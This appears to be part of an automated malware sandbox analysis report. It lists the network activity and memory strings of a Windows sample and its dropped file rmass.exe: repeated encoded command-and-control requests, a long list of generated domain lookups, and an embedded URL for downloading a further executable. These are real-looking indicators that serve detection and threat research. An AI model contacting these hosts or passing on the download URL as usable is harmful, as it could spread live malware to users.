Source: global traffic	HTTP traffic detected: GET /d/N?02BF0440CFBF0440CF91046CCFBF046877BB28620BBE048067BD0076E18D2A79FD8F346ECF HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029479E6219479E621BA79CA219479CE999055C4E595792689967DD00FA657DF13A449C821 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0298CEA99B98CEA99BB6CE859B98CE81239CE28B5F99CE69339ACA9FB5AAE090A9A8FE879B HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?026073BAAC6073BAAC4E7396AC60739214645F986861737A0462778C82525D839E504394AC HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E01AB48FE01AB48FCE1A988FE01A9C37E436964BE11A7427E21E82A1D2348DBDD02A9A8F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F042D0D3F042D0D3DE42FCD3F042F86BF46EF217F142107BF246E6FDC26CE9E1C072FED3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F8D0171DF8D0171DD6D03B1DF8D03FA5FCFC35D9F9D0D7B5FAD42133CAFE2E2FC8E0391D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029A0848CA9A0848CAB40864CA9A0860729E246A0E9B088862980C7EE4A82671F8AA3866CA HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0235032972350329721B030572350301CA312F0BB63403E9DA37071F5C072D104005330772 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0254B6262954B626297AB60A2954B60E91509A04ED55B6E68156B2100766981F1B64860829 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\NpHauDPoR8.exe

Code function: 0_2_00402056 InternetReadFile,select,recv,

0_2_00402056

Source: global traffic	HTTP traffic detected: GET /d/N?02D31B4852D31B4852FD1B6452D31B60EAD7376A96D21B88FAD11F7E7CE1357160E32B6652 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F096C79EF096C79EDE96EB9EF096EF26F4BAE55AF1960736F292F1B0C2B8FEACC0A6E99E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0292F6407A92F6407ABCF66C7A92F668C296DA62BE93F680D290F27654A0D87948A2C66E7A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0270E4A37F70E4A37F5EE48F7F70E48BC774C881BB71E463D772E0955142CA9A4D40D48D7F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0203D8FC1403D8FC142DD8D01403D8D4AC07F4DED002D83CBC01DCCA3A31F6C52633E8D214 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02295828502958285007580450295800E82D740A942858E8F82B5C1E7E1B76116219680650 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020C789E210C789E212278B2210C78B6990854BCE50D785E890E7CA80F3E56A7133C48B021 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DE40A00ADE40A00AF0408C0ADE4088B2DA6C82CEDF4060A2DC449624EC6E9938EE708E0A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022692D7AD2692D7AD0892FBAD2692FF1522BEF569279217052496E18314BCEE9F16A2F9AD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F3F115CDF3F115CDDDF139CDF3F13D75F7DD3709F2F1D565F1F523E3C1DF2CFFC3C13BCD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0228142B8A28142B8A0614078A281403322C38094E2914EB222A101DA41A3A12B81824058A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02CAD354C4CAD354C4E4D378C4CAD37C7CCEFF7600CBD3946CC8D762EAF8FD6DF6FAE37AC4 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0254C7CC2154C7CC217AC7E02154C7E49950EBEEE555C70C8956C3FA0F66E9F51364F7E221 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C0CC10F4C0CC10F4EECC3CF4C0CC384CC4E03230C1CCD05CC2C826DAF2E229C6F0FC3EF4 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C3F8676AC3F8676AEDF84B6AC3F84FD2C7D445AEC2F8A7C2C1FC5144F1D65E58F3C8496A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F6C24BFAF6C24BFAD8C267FAF6C26342F2EE693EF7C28B52F4C67DD4C4EC72C8C6F265FA HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E997175EE997175EC7973B5EE9973FE6EDBB359AE897D7F6EB932170DBB92E6CD9A7395E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0248AF579F48AF579F66AF7B9F48AF7F274C83755B49AF97374AAB61B17A816EAD789F799F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02CAA30B6CCAA30B6CE4A3276CCAA323D4CE8F29A8CBA3CBC4C8A73D42F88D325EFA93256C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?024642399446423994684215944642112C426E1B504742F93C44460FBA746C00A676721794 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028CC012028CC01202A2C03E028CC03ABA88EC30C68DC0D2AA8EC4242CBEEE2B30BCF03C02 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022EE32F022EE32F0200E303022EE307BA2ACF0DC62FE3EFAA2CE7192C1CCD16301ED30102 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?024980D64E4980D64E6780FA4E4980FEF64DACF48A488016E64B84E0607BAEEF7C79B0F84E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B2B5F1E0B2B5F1E09CB5DDE0B2B5D958B699D324B3B53148B0B1C7CE809BC8D28285DFE0 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0235FAB42D35FAB42D1BFA982D35FA9C9531D696E934FA748537FE820307D48D1F05CA9A2D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02568106D7568106D778812AD756812E6F52AD24135781C67F548530F964AF3FE566B128D7 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02BF19A92FBF19A92F9119852FBF198197BB358BEBBE196987BD1D9F018D37901D8F29872F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022C0437A62C0437A602041BA62C041F1E282815622D04F70E2E0001881E2A0E941C3419A6 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02D00325D0D00325D0FE0309D0D0030D68D42F0714D103E578D20713FEE22D1CE2E0330BD0 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02707090B7707090B75E70BCB77070B80F745CB2737170501F7274A699425EA9854040BEB7 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028517A6E88517A6E8AB178AE885178E50813B842C84176640871390C6B7399FDAB52788E8 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DF6C2A9FDF6C2A9FF16C069FDF6C0227DB40085BDE6CEA37DD681CB1ED4213ADEF5C049F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0294FC613194FC6131BAFC4D3194FC498990D043F595FCA19996F8571FA6D25803A4CC4F31 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02CA273AEFCA273AEFE42716EFCA271257CE0B182BCB27FA47C8230CC1F80903DDFA1714EF HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02282AE624282AE624062ACA24282ACE9C2C06C4E0292A268C2A2ED00A1A04DF16181AC824 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02D3014E78D3014E78FD016278D30166C0D72D6CBCD2018ED0D1057856E12F774AE3316078 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022629C2952629C2950829EE952629EA2D2205E0512729023D242DF4BB1407FBA71619EC95 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0265A4440B65A4440B4BA4680B65A46CB3618866CF64A484A367A07225578A7D3955946A0B HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020A7D57C50A7D57C5247D7BC50A7D7F7D0E5175010B7D976D087961EB38536EF73A4D79C5 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025C2BCA2C5C2BCA2C722BE62C5C2BE2945807E8E85D2B0A845E2FFC026E05F31E6C1BE42C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02BF0440CFBF0440CF91046CCFBF046877BB28620BBE048067BD0076E18D2A79FD8F346ECF HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029479E6219479E621BA79CA219479CE999055C4E595792689967DD00FA657DF13A449C821 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0298CEA99B98CEA99BB6CE859B98CE81239CE28B5F99CE69339ACA9FB5AAE090A9A8FE879B HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?026073BAAC6073BAAC4E7396AC60739214645F986861737A0462778C82525D839E504394AC HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E01AB48FE01AB48FCE1A988FE01A9C37E436964BE11A7427E21E82A1D2348DBDD02A9A8F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F042D0D3F042D0D3DE42FCD3F042F86BF46EF217F142107BF246E6FDC26CE9E1C072FED3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F8D0171DF8D0171DD6D03B1DF8D03FA5FCFC35D9F9D0D7B5FAD42133CAFE2E2FC8E0391D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029A0848CA9A0848CAB40864CA9A0860729E246A0E9B088862980C7EE4A82671F8AA3866CA HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0235032972350329721B030572350301CA312F0BB63403E9DA37071F5C072D104005330772 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0254B6262954B626297AB60A2954B60E91509A04ED55B6E68156B2100766981F1B64860829 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)

Source: global traffic	DNS traffic detected: DNS query: icipvzhhpwa.nu
Source: global traffic	DNS traffic detected: DNS query: gbkymuj.museum
Source: global traffic	DNS traffic detected: DNS query: kgzyvmdjsn.cd
Source: global traffic	DNS traffic detected: DNS query: aekcsa.pw
Source: global traffic	DNS traffic detected: DNS query: auisqbzkoyr.ws
Source: global traffic	DNS traffic detected: DNS query: utbidet-ugeas.biz
Source: global traffic	DNS traffic detected: DNS query: qojuhafm.tk
Source: global traffic	DNS traffic detected: DNS query: mscwiycwe.cd
Source: global traffic	DNS traffic detected: DNS query: gomzzwswgg.mp
Source: global traffic	DNS traffic detected: DNS query: rgyipscsoc.st
Source: global traffic	DNS traffic detected: DNS query: owiioe.mp
Source: global traffic	DNS traffic detected: DNS query: vaeoiuujwouuqi.cd
Source: global traffic	DNS traffic detected: DNS query: hifbo.st
Source: global traffic	DNS traffic detected: DNS query: haeumyhfmk.vg
Source: global traffic	DNS traffic detected: DNS query: erendacm.pw
Source: global traffic	DNS traffic detected: DNS query: rcoxqkook.nu
Source: global traffic	DNS traffic detected: DNS query: vuiykecqutjik.tk
Source: global traffic	DNS traffic detected: DNS query: vmxznmaq.museum
Source: global traffic	DNS traffic detected: DNS query: islnimwrkuw.museum
Source: global traffic	DNS traffic detected: DNS query: zpkoowu.museum
Source: global traffic	DNS traffic detected: DNS query: hawquuowbgeoma.st
Source: global traffic	DNS traffic detected: DNS query: vnbcxkka.mp
Source: global traffic	DNS traffic detected: DNS query: mcloueaqw.mp
Source: global traffic	DNS traffic detected: DNS query: rellwylicsequu.vg
Source: global traffic	DNS traffic detected: DNS query: kzkvmrexo.ws
Source: global traffic	DNS traffic detected: DNS query: vffamcmmuoln.st
Source: global traffic	DNS traffic detected: DNS query: xpyodicoino.cd
Source: global traffic	DNS traffic detected: DNS query: nrcwikf.nu
Source: global traffic	DNS traffic detected: DNS query: ahytmdoczuaog.mp
Source: global traffic	DNS traffic detected: DNS query: lwexogq.mp
Source: global traffic	DNS traffic detected: DNS query: mwjukuo.st
Source: global traffic	DNS traffic detected: DNS query: aaaeneuzmgm.ws
Source: global traffic	DNS traffic detected: DNS query: fmgnw.pw
Source: global traffic	DNS traffic detected: DNS query: ymoxwne.ws
Source: global traffic	DNS traffic detected: DNS query: uzwnaownuu.st
Source: global traffic	DNS traffic detected: DNS query: ptgmg.vg
Source: global traffic	DNS traffic detected: DNS query: qyzmmqlgp.tk
Source: global traffic	DNS traffic detected: DNS query: xzwsa.nu
Source: global traffic	DNS traffic detected: DNS query: qmikaniayyn.ws
Source: global traffic	DNS traffic detected: DNS query: uistaqeeb.cd
Source: global traffic	DNS traffic detected: DNS query: naekiysm.pw
Source: global traffic	DNS traffic detected: DNS query: zaeuc.ws
Source: global traffic	DNS traffic detected: DNS query: hucunewyac.cd
Source: global traffic	DNS traffic detected: DNS query: fsifaecvb.st
Source: global traffic	DNS traffic detected: DNS query: cclcxxiyi.cd
Source: global traffic	DNS traffic detected: DNS query: muilsaopx.mp
Source: global traffic	DNS traffic detected: DNS query: hcxhhucwr.museum
Source: global traffic	DNS traffic detected: DNS query: nsgcio.ws
Source: global traffic	DNS traffic detected: DNS query: kcqwigjkphosw.mp
Source: global traffic	DNS traffic detected: DNS query: aydfeaea.pw
Source: global traffic	DNS traffic detected: DNS query: ogaywmfoo.nu
Source: global traffic	DNS traffic detected: DNS query: iagwx.nu
Source: global traffic	DNS traffic detected: DNS query: ffwuiyk.cd
Source: global traffic	DNS traffic detected: DNS query: yoifw.nu
Source: global traffic	DNS traffic detected: DNS query: rogexncokusyud.cd
Source: global traffic	DNS traffic detected: DNS query: cpjcukm.tk
Source: global traffic	DNS traffic detected: DNS query: iedhsegnq.tk
Source: global traffic	DNS traffic detected: DNS query: qaqqiwicary.ws
Source: global traffic	DNS traffic detected: DNS query: seuicsinj.tk
Source: global traffic	DNS traffic detected: DNS query: ydeom.nu
Source: global traffic	DNS traffic detected: DNS query: wbuekaymzawmca.cd
Source: global traffic	DNS traffic detected: DNS query: waivyis.nu
Source: global traffic	DNS traffic detected: DNS query: cacewsiqbiv.cd
Source: global traffic	DNS traffic detected: DNS query: gommacaqfdcg.ws
Source: global traffic	DNS traffic detected: DNS query: ykycgmq.st
Source: global traffic	DNS traffic detected: DNS query: iywejakceat.ws
Source: global traffic	DNS traffic detected: DNS query: icgxiaiilmc.tk
Source: global traffic	DNS traffic detected: DNS query: towoeqqzokbsj.vg
Source: global traffic	DNS traffic detected: DNS query: uokpfkc.vg
Source: global traffic	DNS traffic detected: DNS query: tsqemjsjkmz.museum
Source: global traffic	DNS traffic detected: DNS query: ykqfmmg.mp
Source: global traffic	DNS traffic detected: DNS query: eoholrark.nu
Source: global traffic	DNS traffic detected: DNS query: ynaucmukkszgjz.nu
Source: global traffic	DNS traffic detected: DNS query: gvqle.tk
Source: global traffic	DNS traffic detected: DNS query: sgojwgigbmm.ws
Source: global traffic	DNS traffic detected: DNS query: ubielmdhiea.mp
Source: global traffic	DNS traffic detected: DNS query: eqhuyuws.nu
Source: global traffic	DNS traffic detected: DNS query: ucldeorkcahaq.ws
Source: global traffic	DNS traffic detected: DNS query: hxyicbwo.vg
Source: global traffic	DNS traffic detected: DNS query: sqcbew.mp
Source: global traffic	DNS traffic detected: DNS query: kulna.nu
Source: global traffic	DNS traffic detected: DNS query: ycbwawsnkag.cd
Source: global traffic	DNS traffic detected: DNS query: ysqtx.st
Source: global traffic	DNS traffic detected: DNS query: yesjo.st
Source: global traffic	DNS traffic detected: DNS query: bomxaug.tk
Source: global traffic	DNS traffic detected: DNS query: crhqdmkjqac.st
Source: global traffic	DNS traffic detected: DNS query: yumowdaknpsouf.ws
Source: global traffic	DNS traffic detected: DNS query: geqtkjeem.st
Source: global traffic	DNS traffic detected: DNS query: wkccmflfymv.pw
Source: global traffic	DNS traffic detected: DNS query: ogdzjlrqlov.pw
Source: global traffic	DNS traffic detected: DNS query: yggoofcgkam.mp
Source: global traffic	DNS traffic detected: DNS query: qwosc.cd
Source: global traffic	DNS traffic detected: DNS query: yyggkyhx.cd
Source: global traffic	DNS traffic detected: DNS query: amsiiizuhgb.cd
Source: global traffic	DNS traffic detected: DNS query: wapuqgaoumwzq.ws
Source: global traffic	DNS traffic detected: DNS query: qjarkqakyeq.nu
Source: global traffic	DNS traffic detected: DNS query: kunlovnoc.vg
Source: global traffic	DNS traffic detected: DNS query: iripzvqcf.pw
Source: global traffic	DNS traffic detected: DNS query: oqryiicdajaf.museum
Source: global traffic	DNS traffic detected: DNS query: tkarbo.tk

Source: NpHauDPoR8.exe, NpHauDPoR8.exe, 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmp, rmass.exe, rmass.exe, 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s.biz/d/G?
Source: NpHauDPoR8.exe, NpHauDPoR8.exe, 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmp, rmass.exe, rmass.exe, 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s.biz/d/N?
Source: NpHauDPoR8.exe, NpHauDPoR8.exe, 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmp, rmass.exe, rmass.exe, 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmp	String found in binary or memory: http://69.50.173.166/gdnOT2424.exe
Source: NpHauDPoR8.exe, 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmp, rmass.exe, 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmp	String found in binary or memory: http://69.50.173.166/gdnOT2424.exegrazie.gifhttp://utbidet-ugeas.biz/d/ccUseDflProfileUseExtProfileC
Source: rmass.exe, 00000001.00000003.3766179181.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aawwbcseutmfcl.tk/
Source: rmass.exe, 00000001.00000003.3797671853.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3796201835.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3798782009.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3789215703.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3799886288.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3784484151.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795177293.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3800646182.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aawwbcseutmfcl.tk/d
Source: rmass.exe, 00000001.00000003.3766179181.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aawwbcseutmfcl.tk/stem32
Source: rmass.exe, 00000001.00000003.4150239609.0000000003F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.b%
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02047DDFC3047DDFC32A7DF3C3047DF77B0051FD07057D1F6B0679E9ED3653E6F1344DF1C3
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124258838.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?020617A8340617A834281784340617808C023B8AF00717689C04139E1A3439910636278634
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?020FFE9F6D0FFE9F6D21FEB36D0FFEB7D50BD2BDA90EFE5FC50DFAA9433DD0A65F3FCEB16D
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4159461995.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?0228C4B76228C4B76206C49B6228C49FDA2CE895A629C477CA2AC0814C1AEA8E5018F49962
